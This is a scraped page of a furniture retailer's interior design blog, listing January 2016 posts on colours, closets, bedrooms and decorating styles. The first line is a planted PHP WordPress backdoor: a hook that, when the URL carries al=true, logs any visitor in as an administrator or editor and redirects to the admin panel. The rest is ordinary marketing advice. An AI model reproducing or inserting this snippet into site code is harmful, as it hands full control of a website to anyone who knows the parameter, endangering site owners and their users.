// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); guidelines Archives - Page 2 of 3 - McCreery's | Page: 2 McCreery's
  • Follow us:

Posts Tagged ‘guidelines’

« Older Entries Newer Entries »

Old Homes, Timeless Design Concepts

Wednesday, January 20th, 2016

 

What would be more perfect for the dining room than this table from the Antebellum Collection of FFDM?

What would be more perfect for the dining room in your old home than this table from the Antebellum Collection of FFDM?

Do you know the old saying that old homes have souls? If this is the case, then you really have to find time to redesign an old home (if you happen to live in one). Interior design, after all, is not all about the creation of a new residence. If you are one of the few that are blessed to own a house that has already earned its own character, then it’s high time to bring out its best features.

Hide All Imperfections

One of the best ways to conceal imperfections is to paint over them. So go ahead and paint the ceilings and walls. Be sure to highlight the walls, trim and ceiling.

What makes people fall in love with older homes is how they speak of a different era. Back then, there was a certain level of personality and polish that are required for finishing touches. Simple coats of paint can preserve and highlight beautiful architectural details.

Designers typically paint a single color on the trim, walls and ceiling. The trim has a slightly higher gloss so that it subtly calls for attention.  Once this palette is already in place, find a bold shade such as dark gray to paint your doors. These will serve as architectural highlights in your home.

Paint the trim work in neutral contrasting shade if it is still in great shape. This is a great way to show it off while being consistent in every room throughout your place. Applying the same paint on the ceiling can help fuse the look together for a more stately and architectural appeal.

Hooker Furniture Bedroom True Vintage Arched Mirror comes in a light wood finish and an elegantly aged driftwood finish.

Hooker Furniture Bedroom True Vintage Arched Mirror comes in a light wood finish and an elegantly aged driftwood finish.

Still on your home’s vintage trim, make sure to use in-window shade rather than hanging drapes. This is so you can leave the trim exposed for everyone to enjoy. These shades also add a modern touch in a subtle way, one that would not steal the integrity of your original home.

If, however, you have awkward looking windows, then go ahead and use those drapes. A lot of older homes tend to have quirky windows. A wall of drapery should hide such windows.

Another beauty that you can use in designing old homes is the installation of stained glass. If you do not already have them, invest in this type of glass which will make simple white walls appear more stimulating.

Embrace Contemporary Furnishing

Universal Furniture Bedroom Santa Rosa Poster Bed Queen 313280B at McCreerys Home Furnishings

Universal Furniture Bedroom Santa Rosa Poster Bed Queen 313280B at McCreerys Home Furnishings

If you want your traditional home to have an edgy, modern-day feel, then make sure that you invest in contemporary furniture pieces. These are those simple pieces with clean lines. Find rich textures, soft colors and linear pieces. Going radical when it comes to modernity is not the way to go, though. Make sure that you are able to control both contemporary and traditional concepts in such a way that they won’t fight. Take for instance the lovely Universal Furniture Bedroom Santa Rosa Poster Bed (313280B) which brings together both contemporary and traditional concepts so beautifully. This queen size bed is crafted using birch veneers and hardwood. It comes in two-tone finish namely the dark vintage and the lighter heirloom tone. Its aged birch veneer is the right touch to any traditional setting. Add to this the antiqued metal, crown molding, as well as overhanging tops, and you’ve achieved sophistication.

This lovely bed also comes in California king size.

Still on mixing modern and traditional periods, another way to add a modern feel is to place appliances such as TV, a computer or a plush sofa inside the room. Modern accessories will also make a huge difference in old homes so don’t be afraid to add in a dash of modernity.

Tags: , , , , , , , , , , , , , , , , , , , , , , ,
Posted in Architectural Elements, Interior Design 101, Interior Design Themes | No Comments »

The Power of Pastels

Tuesday, January 19th, 2016

 

PicMonkey Collage

L-R: Accessories Uttermost Sea Fans Framed Art S_9 35239 and the Capel Incorporated Floor Coverings Cutting Garden Rug 0450CS0032610 are both available at McCreerys Home Furnishings.

 

A lot of the design trends these days involve bright, bold colors. This should not be a reason for you to stop using milder, more calming colors if you really want to. If you are in a pastel mood, then there is no need to conform to the bold patterns that many modern homes use. Creativity is the key to accessing the beauty of pastels. There are so many ways that you can utilize pastels to spotlight spaces or open up dark, crammed up rooms. Creating a winning interior with the use of crisp white combined with irresistible pastels is now easy.

Fine Furniture Design Dining Room Side Chair 1053-820 at McCreerys Home Furnishings

Fine Furniture Design Dining Room Side Chair 1053-820 at McCreerys Home Furnishings

Pastels + White

Heightening the effect of pastel is as easy as pairing it with white. Many designers use soft hues as a standalone color inside many homes. Some use an accent wall complemented with any accessory that comes in the same shade.

A white room is a great playing field for lovers of the pastel palette. The secret to using pastels in a seemingly blank room is to have them as accent pieces like artwork, textiles and lighting fixtures.

Any shade of pastel can be used to achieve a soft glow. Warmth and softness is the beautiful result of cream and gold plus some light pink roses.

When the walls come in any pastel color, then you can use white textiles and furnishings. This is a powerful combo that can be balanced with the use of pastel accents such as throws and some pillows.

Pastels + Bright Colors

If white and pastels result into a crisp interior, then pastels plus some vivid colors equals awesome. The biggest trends today play up the pastel colors by adding neon and other bright hues. For instance, pastel walls can be highlighted by a neon pink cornice. Pastel blue rooms can be heightened with bright colors such as lime green or orange. And while you’re at it, check out the uniqueness of pale green, light chartreuse and lavender. These are all irresistible colors that will look hot with coral pink; light green walls can be paired with peachy sheets; modern shelves can house bright colored books.

You might wonder how two colors on almost opposite ends of the spectrum could fuse so beautifully. Pastels and bright colors are alluring because they complement each other marvellously. For instance – going back to hot pink – it can be your color of choice for the mirrors, bed, lamp and pillows inside your place of relaxation.

PASTELS. ffdm fine uphostery collectionGentle Pastels

One other approach to pastel interiors is subtlety – like really subtle. An example is a white room with silver motif. Add a dash of blue table lamp and throws and you’ve just achieved a modern room that elevates pastels without being overpowering.

Gray can also be combined with pastel colors to create contemporary look. This can be both soothing and sleek.

Going All Out

The final approach is to go all out. Use monochromatic pastel as a powerful statement on your walls, the furniture pieces, upholstery, and some of the major accessories.

If you want to use more than one pastel color in any room of your home, then be sure to put them all together in a concerted display. A single row of pillows in lemon yellow, green, lavender, or dark pink can make a room pop. A rug such as the braided area rug from Capel Rugs perfectly caps the lovely theme. This soft chenille rug comes in various colors and custom shapes.

Tags: , , , , , , , , , , , , , , , , , , , , , ,
Posted in Color Schemes, Interior Design 101, Interior Design Elements | No Comments »

Your Yellow Home: Living Bright and Light

Monday, January 18th, 2016

 

This neutral-colored bed from the Bergman Bedroom Collection of Jonathan Louis is perfect with yellow curtains, that yellow sofa at the foot of the bed, and yellow-striped bolster, and other yellow accessories.

This neutral-colored bed from the Bergman Bedroom Collection of Jonathan Louis is perfect with yellow curtains, that yellow chair at the foot of the bed, and yellow-striped bolster, and other yellow accessories.

 

The color yellow is a wonderful hue. It is intense, it is bright, and it can even evoke the strongest emotions. Yellow is an attention-grabbing color yet it can also become abrasive should you make the mistake of overusing it. This color can appear bright and warm but in the wrong hands, it can also be visually tiresome.

Yellow can cause eye fatigue because of the high amount of light which it can reflect. The use of this color as a wallpaper on computer monitors can cause eye strain, even vision loss for some. Though this is the case, it can also be used (in moderation) to grab people’s attention. This is why yellow is used mostly in most roadside advertisements.

Lamps and Lighting Uttermost Oratino Burnt Yellow Lamp 26476 at McCreerys Home Furnishings. This fascinating lamp comes with a crackled ceramic. You will love the burnt yellow glaze as well as the rust bronze detail.

Lamps and Lighting Uttermost Oratino Burnt Yellow Lamp 26476 at McCreerys Home Furnishings. This fascinating lamp comes with a crackled ceramic. You will love the burnt yellow glaze as well as the rust bronze detail.

The Sunny Color

Using yellow in interior design means you are ready to stage warm and happy feelings inside your home.

Color therapy makes use of this color to evoke feelings of happiness in people. In interior design, it creates coziness and feelings of warmth. This is quite a popular color for wall paints.

Splashes of yellow can be used inside your home through golden carpet hues, warm room furniture, and yellow lighting fixtures. Accessories in yellow can also make a rather dull room appear more exciting.

Yellow is a highly recommended color for decorating rooms. This is the color that can brighten up any dark, gloomy room. Painting the walls light yellow, creamy yellow or any yellowish tint on wallpapers is great for small and dark rooms.

Mix decorative items of yellow and colors that match this lovely hue. If you have used yellow as paint or wallpaper, then find a neutral color for your ceiling and floor. This should balance the looks of your interiors while also creating a pleasant atmosphere.

Yellow can be so many things – it can be juicy, subtle, even dimmed. The living room walls can be painted with this juicy shade. If used as a tint, it can be mixed with brown, cream or brick red. Speaking of duos, what could be considered as the marital pair for yellow is the color green. This is a combination that is typically used in kitchens and children’s bedrooms. Bright accessories can be a fusion of two colors: red, coral, blue, orange or turquoise.

If you want to use yellow inside classical interiors, then have it combined with white. This is a great mixture for dining rooms, offices and living rooms. These two colors can make any room look larger, clean and bright. If you used the color combination as a backdrop, then be sure to use moss-colored, terracotta, or burgundy accessories. Wooden oak furniture will also look great inside such interiors.

If, on the other hand, you decide to use yellow and white furniture and accessories, then be sure to have a more exciting ceiling to floor colors such as lilac, green, or shades of blue.

It is also safe to experiment with yellow and chocolate. You will never go wrong with this combination as it offers a warm contrast to the usual sunny feelings that yellow evokes. Mix the same color with red and you will instantly bring life into a room.

Purple is also a great combination for bright yellow. Children’s rooms often come with pastel green with purple accessories. This is never irritating to the eye.

All in all, yellow can be used in different shades and can be easily combined with many different colors. Just learn to put balance these awesome colors by knowing their limits. Just remember this – too much of anything can always annoy.

Yellow lemons – in this case oranges - can add a unique tinge of yellow on your dining table. This wooden masterpiece is from FFDM's Sunset Collection available at McCreerys Home Furnishings.

Yellow lemons – in this case oranges – can add a unique tinge of yellow on your dining table. This wooden masterpiece is from FFDM’s Sunset Collection available at McCreerys Home Furnishings.

Tags: , , , , , , , , , , , , , , , , , ,
Posted in Color Schemes, Interior Design 101, Interior Design Elements, Interior Design Themes | No Comments »

The Quest for the Best Home Paint Is On

Sunday, January 17th, 2016

 

The Hooker Furniture Living Room Sanctuary Chairside Table will catch your guests' attention if you let it stand against white or any neutral background.

The Hooker Furniture Living Room Sanctuary Chairside Table will catch your guests’ attention if you let it stand against white or any neutral background.

You have probably seen those painting sequences on home TV shopping shows and thought that the people there looked like they were having fun. In reality, painting a home (or even just a portion of it) is far from being glamorous. You can actually exercise your organization skills and patience as you go about with this activity but, in the end, you will feel a level of satisfaction that will make you say – it’s all worth it.

The fundamentals of painting all begin with planning. As what’s always been said, always begin with the end in mind. Try to visualize your space down to the minutest details like what furniture would go with what color, what sort of accessories would blend with your chosen walls, would you use carpets or tiles, and many such details.

After planning and visualizing these things, it’s time to translate your vision into reality. You will surely be surprised to find out that your room or your entire home turned out to be quite like your visualized, ideal space.

The Flexsteel Sloan-Sofa-with-Nails-in-Fabric-917-22 is perfect for any colorful interior design theme.

Sloan-Sofa-with-Nails-in-Fabric-917-22 is perfect for any colorful interior design theme.

Consider the Available Space

Many interior designers would agree that one of the first considerations that you have to make before you would start an interior design project is space and how much of it you can work with. The space that you’ll be able to work with validates the colors (paint) that you end up using.

Keep in mind that smaller spaces need light colors such as sand, white and cream. These light hues will give the small space an illusion of being more expansive. On the other hand, bigger spaces are like canvases for the homeowner’s imagination. You can use different hues depending on what needs to be expressed. Colors such as dark brown, navy blue, and black can lend a romantic look and feel.

Consider the Ceilings, Floors and Walls

As soon as you know how much space you can get your hands on, you also need to consider other parts of your home such as your floors, walls and ceiling. These are also parts of your huge masterpiece so they also need to be given some serious planning.

Just think of yourself as the liberal artist. Make a shortlist of all the colors that you think would make these parts of your home come to life. Do not go too crazy on the hues so that your residence remains tasteful. As much as you can, limit your color choices to just five hues.

Just as you would the paint, it pays to ask for swatches when looking for the right fabric for your sofas. This orange/rust fabric comes from the Lexington cover collection available at McCreery's Home Furnishings.

Just as you would the paint, it pays to ask for swatches when looking for the right fabric for your sofas. This orange/rust fabric comes from the Lexington cover collection available at McCreery’s Home Furnishings.

Get Color Samples

It is best to get paint swatches or samples from different paint centers. As soon as you have mixed the shades, wipe the paint swatch on a sheet of paper.

Test your chosen colors by taping the paint test swatches to the wall. See how the colors work for you visually.

At the moment, the top five designer colors are –

  • Gray
  • White
  • Orange
  • Green
  • Neutrals

Light gray or ash can work as a substitute for the usual shades of white. It can effectively tone down the mood in any space while not neglecting on modernity and being sleek. Charcoal gray, meanwhile, can draw attention easily which is why it can be an effective paint on your focal wall.

White is timeless and it can efficiently frame any interior. Just make sure that you choose white carefully because it can become glaring.

Orange is a warm color that works best with metallic hues such as gold and copper. It is also the perfect color for autumn-inspired interiors.

Green reminds us of nature, freshness and going organic. This hue can make any space feel more fresh and relaxing. It can also blend well with other neutral colors.

Lastly, neutral paints can suit any style. They are easy to maintain and can become the primary color to an exciting accent color which you would later add.

Tags: , , , , , , , , , , , , , , , , ,
Posted in Color Schemes, Interior Design 101, Interior Design Elements, Interior Design Themes | No Comments »

The Impeccable Walk-In Closet

Saturday, January 16th, 2016

 

Hooker Furniture Bedroom True Vintage Bachelors Chest

Hooker Furniture Bedroom True Vintage Bachelors Chest

There is a huge advantage in having a walk-in closet at home. This can provide you with lots of extra storage space for your clothes and other stuff. This kind of closet, though, requires an equally huge amount of energy and preparation time. If you’re still interested, then it’s time to explore your options.

The first option is to set up multiple shelves on two or more sides of the space allocated for the walk-in closet. The more shelves that you set up, the categories you can create, meaning, you can have a separate shelf for your shoes, for your bags, and for your designer clothing.

The design of the walk-in closet also depends hugely on your storage needs. Almost always, it is adjacent to the master bedroom and can be accessed by a separate door. You have the option to continue the theme in the master bedroom to the walk-in closet. In other homes, this room is near the biggest bathroom.

Here are some guidelines if you want to store your clothing, shoes, bags and other accessories in the right manner.

No walk-in closet should go without the Chatelet Floor Mirror with Jewelry Armoire Storage 5351-50003.

No walk-in closet should go without the Chatelet Floor Mirror with Jewelry Armoire Storage 5351-50003.

Put Tasteful Furnishing

Armoire drawers and dressers would still look great inside your walk-in closet. These can hold seasonal clothing such as sweaters, sweatshirts and jackets. For the regularly used clothing such as jeans, blouses, shirts and undies, use a more accessible and spacious closet.

Yes, there is nothing wrong with putting a closet within a walk-in closet. In fact, the most beautiful closets, drawers, and vanity tables will make a huge difference on the overall attractiveness of the room. Put in some matching storage units and you can stow away more apparel and some tools needed in keeping clothes looking their finest. Have a separate drawer for buttons, iron, ironing board, and a mending kit.

Modern armoires and wardrobes now come in various styles. Choose the piece that is most appealing to you. Consider also your chosen theme for your walk-in closet. The classiest wardrobes that you can find and eventually consider an heirloom are usually made of wood. Find out which wood can make your space more charming.

Also, do not forget that no walk-in closet should be without an elegant mirror.

Let Go of Pre-Loved Clothing

Clothes are better able to retain their best looks if they are stacked in a neat way. This is also the case if you hang them freely. So go ahead and create some breathing room in your drawers and closets by giving away some of your apparel. Those that you have not worn in a year or no longer fit you can be given away as donations.

This curvy chair from FFDM's Collectors Room is a beauty to behold.

This curvy chair from FFDM’s Collectors Room is a beauty to behold.

Use Labels

Create a reminder system that would indicate which items go where. This is an effective way to speedily locate items or for other people to return the items to their proper places. Like items should be stored together.

Apart from labels, you can also use wood hangers for your special garments. The larger the hanger, the better able they are to retain the original shape of the garment.

There are also some people who prefer to have weekly dividers in their closets.

It’s a small wonder why many people prefer to have pre-sorted clothing and accessories storage units. It becomes a lot easier to dress up during busy mornings if you have everything in its proper place.

Customization for Children

Even smaller children would benefit to have their own closet inside your home’s walk-in closet. Choose multitier cabinets or those with dividers. While plastic boxes and fabric bags may be used as storage units but these cannot provide the level of toughness that you need if you really want to protect your children’s church clothing, uniforms, shoes or toys.

Tags: , , , , , , , , , , , , , , , ,
Posted in Interior Design 101, Interior Design Elements, Special Rooms In Your Home | No Comments »

Interior Design Trends for 2016 – Will You Be In This Year?

Saturday, January 16th, 2016

 

This China cabinet comes from FFDM's Antebellum Collection. The classic color of wood will make any home be the envy of the neighborhood.

This China cabinet comes from FFDM’s Antebellum Collection. The classic color of wood will make any home be the envy of the neighborhood.

 

The year 2016 is marked as the Year of the Rat on the Chinese calendar. The specific styles and interior design trends for this year are distinctive because they show a lot of expression. They also come in richness that is sure to transcend to the next year.

Playful Colors Are Back

Among the various inspired changes inside homes this year, cheerful colors are definitely back. There is also this growing emphasis on nature and the environment even in unusual rooms such as kitchens and the bathroom.

Innovations are not limited to these concepts. Accessories also display the richest hues though they are also surprisingly used in a more functional and minimalist space. Hints of metals such as brass and copper are also used in different areas of the home.

This year’s color palette comes in shades of red, pink and peach and designers are more than willing to use these colors to tell the world that they are following the trend. Pink is not just seen in interior design but also in make-up, fashion and office decor.

Accessories also come in shades of deep blue, green oil and navy. These colors convey feelings of coolness and calm inside any premise. For instance, brass or copper surfaces can cleverly blend with moody colors such as purple and black.

Once again, marble, copper and brass are the stars of the 2016 trend. There are various uses for these glamorous materials, their flexible characteristic, and their artistic look.

Another noticeable change inside homes this year is the presence of decorative yet functional objects. There is simply no room for useless stuff. It has become increasingly crucial to own objects that can be used throughout the homeowner’s lifetime, maybe even beyond.

The dynamic lifestyle of modern man also requires clever usage of space, its proper arrangement, and minimalism. The kitchen, for instance, may be completely concealed in order to open more room for entertainment.

The Hooker Furniture Dining Room Skyline Round Glass Top Dining Table comes with plated metal and glass. Choose from the gold or champagne-colored finish.

The Hooker Furniture Dining Room Skyline Round Glass Top Dining Table comes with plated metal and glass. Choose from the gold or champagne-colored finish.

 

These days, the world of interior design is constantly moving towards minimalism because of its simple aesthetics. The reason behind this is simple – modern man is always busy and all he wants is a haven to go home to, a place where he could escape from city life. The use of green walls or optical illusions inside bathrooms and kitchens can add to the level of fascination.

Another huge change inside the home environment is the seemingly spa atmosphere. The bathroom is the leading room that has turned from a functional space to a relaxation area. Chairs and benches, even vanity tables are no longer uncommon inside modern bathrooms.

Have an abundant amount of vegetation inside the bathroom, too. Bring in those green plants that you love. Urban gardens inside living premises are also hip and trendy. Mother Nature is being let into homes because more and more designers and architects are considering the health of their clients. Bringing nature closer to homeowners does not just provide beauty but also a high level of calmness.

To keep the rest of your home fresh and up-to-date with the latest interior design trends, be sure to control the ventilation and humidity. Fresh air is what provides natural plant life. If this is not possible to achieve, then green walls are your next best option. The colors pink and gold are also artistic and easygoing hues that you can experiment with during the year. See how you can have them entwined or used separately in your home’s architecture and interior design.

Tags: , , , , , , , , , , , , , , , , , , , , , , ,
Posted in 2016 Trends, Interior Design 101, Interior Design Elements, Interior Design Themes, Interior Design Trends | No Comments »

The Bedroom: Where Relaxation, Romance and Rejuvenation Merge

Thursday, January 14th, 2016

 

 

BEDROOM HIDEAWAY. ffdm Highlands Collection

This classic wooden bed comes from FFDM’s Highlands Collection

 

Do you believe that the bedroom is a sacred place? This is the very place where you sleep, relax, dream, and fantasize even. This can be a room that you have all for yourself or you might be sharing it with someone who you care for. While this room deserves privacy or even if it is dark and tiny, it need never be depressing.

Sprucing up your bedroom shouldn’t be complex. Here are a few tips –

Find Cozy Bedding

What could be more relaxing than climbing onto a comfy bed with luxurious bedding? Find pillowcases and bed sheets that make you want to go to bed each night. If moon and constellation, dots and stripes make the kids marvel at night, then have their bedding designs come in these patterns.

BEDROOM HIDEAWAY. Hooker Furniture Bedroom Sunset Point King Fretwork Panel Bed

Hooker Furniture Bedroom Sunset Point King Fretwork Panel Bed fits perfectly in shabby chic, seaside or lakeside homes. This bedroom focal piece comes in cathedral white oak veneers.

Do you have a duvet that you want covered? It wouldn’t be wrong to experiment with some colors. If you want to splurge on your linen sheets then go silk! Silk pillowcases – would you believe – can make you a lot prettier in the morning? It may be myth for others but sleeping soundly through the night speeds up rejuvenation, hence, you look fresher when you wake up.

Let There Be Light

There are many different ways that you can bring in light into the bedroom. You can begin by hanging mirrors or by replacing the doors of sliding closets with mirrored ones. These should bounce the light throughout the room, making it a lot brighter than it really is.

Creating a fancy bedroom can also be as easy as installing lighting fixtures with Swarovski crystals. These will be the perfect rainbow projectors for your private space. You will be amazed at how the lovely rainbows will dance around your room.

‘Not a huge fan of rainbows? Then try to project stars on your ceiling instead. Salt lamps can also emit lovely light during the night. The salt is also good for your health as it clears away air-borne allergens such as pet dander, smoke or pollen.

Clean Up

You bedroom should not just look fantastic but also smell fantastic. It would be wrong for this room to smell musty. So it wouldn’t hurt to plug in that vacuum cleaner and to set up some scented candles. Some homeowners prefer oil burners to scented candles. Still others want those essential oils in humidifiers. Whichever way you choose to make your bedroom sweet-smelling, it really doesn’t matter. The bottom line is, you can sleep better if you clean up.

Maitland-Smith Accessories Fire Screen 1351-324 features intricate artwork, perfect in achieving a romantic bedroom.

Maitland-Smith Accessories Fire Screen 1351-324 features intricate artwork, perfect in achieving a romantic bedroom.

Sparkle Up

If you want your bedroom to become more cheerful, then add some sparkles. This could be as easy as having a candle light reflected on your bedroom mirror. It can also be more elaborate such as adding crystal or glass chandelier.

‘Want it to be sassier? Then go bigger by adding curtains beaded with crystals in each window. Have the headboard decorated with crystal beads, drape a Moroccan wedding blanket at the foot of your bed, or just hang a mirror ball right above your bed.

A Standout Master Bedroom

The master bedroom is probably the most intimate area in your home. This is where you can express your creativity, style and your personality. Bedrooms are now a lot more than places for getting dressed or sleeping.

Expand the range of use for this room by adding an expansive closet space, a reading nook, or a private office. Adding features such as a fireplace will make a world of difference in terms of upping the air of romance. The fire screen can accentuate the fireplace, making the bedroom a lot more calming and interesting – perfect for a room meant for relaxation.

Tags: , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ,
Posted in Bedroom Design, Interior Design 101, Interior Design Elements | No Comments »

Southwestern Design – Using Mother Earth’s Rich Color Palette

Thursday, January 14th, 2016

 

This classic wooden drawer is from FFDM's American Cherry Collection.

This classic wooden drawer is from FFDM’s American Cherry Collection.

 

Southwestern design is defined with earth colors and the richest textures. This means that you should use more of orange, yellow, turquoise, and red clay. Clay tile roofs, terracotta and handcrafted stuff are all welcome in a southwestern home.

Upholstery for this design is chiefly woven fabrics, suede, animal hides or leather. Blankets could be made of traditional native clothing. Do not limit the use for these beautiful pieces inside the bedroom because they can also be great wall decor.

Wood furniture is a must and could also feature metal accents or a distressed finish. The accents used in southwestern environments can be anything from painted ceramics to hand-painted tiles. If you can find early pieces dating all the way back to 16th century Mexico, the better.

Tribal Design Elements

You will see a lot of Native American pieces inside a southwestern home. Elements such as latillas, vigas and other artwork are design themes that are commonly used in architecture. This style is quite earthy as well as organic as it captures the heritage of Arizona and New Mexico areas. Natural accents, colors and other elements look and feel a lot like Mexican, Spaniard, and Native American designs; open floor plans, flat roofs and courtyards, even gardens can become a part of your home.

This Hooker Furniture Living Room Covington Bogue Club Chair has the right color to give life to a southwestern habitat.

This Hooker Furniture Living Room Covington Bogue Club Chair has the right color to give life to a southwestern habitat.

Southwestern design makes use of subdued earthy tones like tan, cream, brown, terracotta, and white. These colors are great as backdrop for American Indian-inspired textiles and accents. Azure is a famous color for windows and doors. Any color found in nature such as forest green, salmon, sunny yellow and slate blue can fit perfectly in southwestern interiors.

Southwestern furniture should be unpretentious. Say no to anything intricate. Cherry, walnut, pine, and just about any mid-tone wood would do. It should have soft leather or natural textiles as coverings. Make use of huge pillows right on the floor as well as hammocks in your courtyard. These can be alternative seats for your guests. Always remember that the rooms must be spacious or have a natural flow.

As for the walls, they are often made with the same materials as the exteriors. Mostly adobe, interior walls are roughly plastered. Others use smooth stone or stucco. If you want to add warmth and color onto a boring wall, then use hand-painted tiles. They can also be used in covering kitchen backsplash. If not, use the tiles as individual accents.

Murals are also a huge depiction of southwestern culture. Have spiritual stories or rituals painted on murals then have them installed as a statement wall.

You can also try stucco plaster then add builder’s sand to the paint. You may also use special paint effects such as suede, color washing, or faux paint.

Capel Incorporated Floor Coverings Biltmore Select Bidjar Rug 1773RS02000300450 at McCreerys Home Furnishings

Capel Incorporated Floor Coverings Biltmore Select Bidjar Rug 1773RS02000300450 at McCreerys Home Furnishings

Southwestern floors are often honey-colored. Other homeowners prefer terracotta tiles. Adding visual interest on your floors is easy. Just arrange the tiles in patterns and layouts.

Parquet or light wood flooring is widely used. You can color this kind of flooring with cobalt blue or any other earthy color to make it more exciting. Carpets and rugs are valuable pieces but if you do not want these in your home, then be sure to opt for hardwood flooring.

Use brick or stones throughout your home without letting the style suffer. Use lovely rugs with traditional patterns and colors brighten up the room.

Southwestern accents are mostly paintings, candles, wrought-iron stuff, dried flowers, sculptures, pottery (the hand-painted type), and animal skins.

Learn these Southwestern design tips and begin bringing rustic beauty into your lovely home.

Tags: , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ,
Posted in Interior Design 101, Interior Design Elements, Interior Design Themes | No Comments »

Mid-Century Interior Design: Beauty in Simplicity

Wednesday, January 13th, 2016

 

American Leather Living Room Chair MSL-CHS-ST is perfect for any Mid-Century interior because of its clean lines and natural hue. John Mascheroni designed this beautiful piece giving emphasis to mid-century modern streamlined edges fused with a wooden cross base.

American Leather Living Room Chair MSL-CHS-ST is perfect for any Mid-Century interior because of its clean lines and natural hue. John Mascheroni designed this beautiful piece giving emphasis to mid-century modern streamlined edges fused with a wooden cross base.

If you are trying to achieve the mid-century interior design in your home, then it is best to understand what aspects to mix.

Furniture to be used under this category is characterized by simple, clean lines. Teak and other wood pieces are most welcome. Find mid-century tables and pair them with contemporary chairs. Have teal walls as bold backdrop and you have just attained the epitome of this design.

Never make the mistake of hiding wood details, instead, allow them to shine. Neutral-colored walls will look great with fabrics in soft hues. Find handcrafted furniture and accessories to complete the living room mid-century look.

Mid-Century Is Timeless

McCreery’s Home Furnishings provides furniture pieces that have been thoughtfully crafted by master artisans, hence, they are the perfect classic pieces if you are looking into creating the mid-century habitat.

Table lamps are the right lighting pieces for that low-slung furniture. The curvy base of the Maitland Maitland-Smith Lamps and Lighting Table Lamp 1700-427 will look great in a vintage-looking nightstand.

Maitland-Smith Lamps and Lighting Table Lamp 1700-427 is a spell-binding addition to your living room or bedroom.

Maitland-Smith Lamps and Lighting Table Lamp 1700-427 is a spell-binding addition to your living room or bedroom.

Natural lighting can also bathe your black and white-themed living room. Draw back any curtains to let in the sunlight. The black and white color scheme is best for the mid-century style as it keeps the areas looking clutter-free. This is achieved by highlighting space and light.

After considering lighting, it’s time to turn your attention to focal points. Retro lighting can be an effective focal point. Chandeliers can easily stand out against pinstripe walls. Take the retro vibe up another notch by also adding vintage art pieces. Search for striking wall hangings inspired by circles and squares.

Since mid-century spells timelessness, the use of vintage colors is also encouraged. It’s time to start loving avocado hues, also mustard, tangerine and other ‘60s colors. Just be careful in your use of these colors or your place would come across as a movie set.

For more ‘60s inspired pieces, decorate with a coffee table with a hint of gold. Add glass or sculptural accents, these will pop against white walls.

Mid-century also means showcasing superior pieces so, it is best to paint the walls white or any neutral palette. The rich, graphic patterns may appear on upholstered furniture pieces, throws, or on the textured wallpapers.

The Maitland-Smith Accessories Bamboo Cast Brass Bar Cart 3020-042 can carry your vintage glassware and cocktail shakers.

The Maitland-Smith Accessories Bamboo Cast Brass Bar Cart 3020-042 can carry your vintage glassware and cocktail shakers.

Emphasize the cocktail culture by making use of a bar cart while the rest of the room features streamlined seats and traditional lamps. If you are more traditional, then use a glass and bronze coffee table.

For those who embrace the contemporary culture more than retro, it is acceptable to have at least one mid-century piece to add warmth to the environment. For instance, the marriage of red and white inside a living room can have wood and glass table as a focal point.

Would you want to have contrasting seat cushions? Add these to a wood swivel and you can spice up your mid-century home office.

Mid-century interior design and modern styles, as opposed to common notion, can actually mix. The super clean lines of both styles can be the chief characteristics of mid-century modern furnishings. This is the right combination for those stark industrial pieces. This is the ideal style pairing for those people who prefer urban loft living.

Tags: , , , , , , , , , , , , , , , , , , , , , , ,
Posted in Interior Design 101, Interior Design Elements, Interior Design Themes | No Comments »

The Bench: An Exceptional Dining Room Piece

Wednesday, January 13th, 2016

 

Let this Winners Only Dining Room 48 Inch Bench with Cushioned Seat DG2456 become your first dining bench.

Let this Winners Only Dining Room 48 Inch Bench with Cushioned Seat DG2456 become your first dining bench.

Mankind has definitely come a long way from marveling over a spark of fire. Now, we even boast of having refined tastes. This crosses many aspects such as fine dining, fashion, even interior design.

Historical records are not concise but it appears that the earliest migrants who settled down to a domesticated way of life always wanted their bodies off the cold floor. Chairs, stools and benches – however our predecessors called their artificial thing to sit on – only proves that man always distinguished the need to be set apart from mere animals. Chairs and benches emerged as early as the Stone Age.

Seats (mostly the folding types) have also been found in many Chinese tombs with the designs hardly changed over the centuries. Chairs are also found in Roman homes, Greek libraries, even East Asian places.

The Latin word cathedra explains the very purpose of every bench and chair from then till now – kata for down and hedra means to sit.

The Dining Bench

You may be new to the whole concept of dining benches but this is one wonderful way to begin designing your dining room. The style of the Winners Only Dining Room 48 Inch Quails Run Bench DQ1455AE would be just the thing for this area in your home. Notice how the stretch of the bench fits the space between the dining table legs perfectly. Should you choose to invest in a solo dining bench, be sure to measure this crucial space.

Winners Only Dining Room 102 Inch Pedestal Table with 2-12 Inch Leaves DR142100

Winners Only Dining Room 102 Inch Pedestal Table with 2-12 Inch Leaves DR142100

Deciding between this and the Winners Only Dining Room 102 Inch Pedestal Table With 2-12 Inch Leaves DR142100 depends hugely on your personal taste as well as all the other things that you will be bringing in to your dining area.

The dining bench is not something that can be found in every dining room. In fact, it is a wonderful addition to a home that is looking forward to deviate from the too balanced look that common dining sets provide.

If you are a person who simply loves to decorate your own home, then the dining room would be a great place to start. There are so many things that you can add to this statement dining set. For instance, you can add a simple china cabinet right against the wall. This can house all your treasured chinaware and silverware.

Making your dining room appear stylish is also as easy as rearranging your furniture pieces. Reorganize after a few months, with the dining bench changing its position from time to time.

This lovely Winners Only Dining Room 102 Inch Pedestal Table With 2-12 Inch Leaves DR142100 is available at our shop. Our friendly staff is willing to answer your queries about this fine set.

This lovely Winners Only Dining Room 102 Inch Pedestal Table With 2-12 Inch Leaves DR142100 is available at our shop. Our friendly staff is willing to answer your queries about this fine set.

McCreery’s Home Furnishings offers many other dining bench styles and dining room sets. Choose from the different materials, colors and designs that are being offered. Many homeowners prefer the wooden and metallic dining benches as these can blend well with various designs.

Be sure to choose the right size of dining bench by taking the measurements of the dining table from the onset. Choose a big dining bench and your dining room could appear narrower than it really is.

Complete the look of your striking dining room by placing the dining bench at the center of the room. Add a lovely chandelier and you are ready to welcome dinner guests to your home.

Tags: , , , , , , , , , , , , , ,
Posted in Dining Room Design, Interior Design 101, Interior Design Elements | No Comments »

Next Page »« Previous Page